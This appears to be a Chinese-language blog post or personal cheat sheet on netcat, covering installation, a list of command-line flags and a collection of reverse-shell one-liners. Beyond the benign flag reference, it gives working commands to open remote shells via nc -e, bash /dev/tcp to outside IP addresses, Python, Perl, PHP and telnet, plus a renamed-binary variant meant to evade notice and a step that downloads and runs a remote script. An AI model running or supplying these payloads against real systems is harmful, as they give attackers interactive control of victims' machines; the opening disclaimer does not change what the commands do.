郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

Windows

  • 进入下载地址下载文件https://eternallybored.org/misc/netcat/
  • 将文件夹中的对应可执行文件复制到C:\Windows\System32的文件夹下(有32位版和64位版)
  • 直接打开cmd输入nc XXXXXX执行就好

Linux

  • 直接使用nc命令就好

自己常用的命令

  • Windows
nc -e cmd.exe -d IP port(靶机)
  • Linux
nc -lvvp 8080(监听机)  监听8080端口
nc IP Port (受害者机) IP为监听机的IP 端口为监听机开的端口
bash -i >& /dev/tcp/3.16.30.73/1231 0>&1(受害者机)

主要参数

#无命令行界面,使用后台模式
-d
#程序重定向
-e
#源路由跳跃点, 不超过8
-g
#源路由指示器: 4, 8, 12, ...
-G
#获取帮助信息
-h
#延时设置,端口扫描时使用
-i
#监听入站信息
-l
#监听知道NetCat被结束(可断开重连)
-L
#以数字形式表示的IP地址
-n
#使进制记录
-o
#打开本地端口
-p
#随机本地和远程的端口
-r
#本地源地址
-s
#以TELNET的形式应答入站请求
-t
#UDP 模式
-u
#显示详细信息 [使用=vv获取更详细的信息]
-v
#连接超时设置
-w
#I/O 模式 [扫描时使用]
-z

常见反弹的方法

所用用例中的127.0.0.1为接收机器的IP6666位接收机器的端口

  • 正常的反弹

    bash -i >& /dev/tcp/127.0.0.1/6666 0>&1
  • 改文件名反弹

    ./test -i >& /dev/tcp/127.0.0.1/6666 0>&1
  • 下载文件后执行反弹

    curl -o /tmp/x.py https://raw.githubusercontent.com/y1ng1996/VulScript/master/back.py
    python /tmp/x.py 127.0.0.1 6666
  • python代码反弹

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • perl代码反弹

    perl -e 'use Socket;$i="127.0.0.1";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • php代码反弹

    php -r '$sock=fsockopen("127.0.0.1",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
  • telnet反弹

    telnet 127.0.0.1 6666| /bin/bash | telnet 139.217.21.35 5555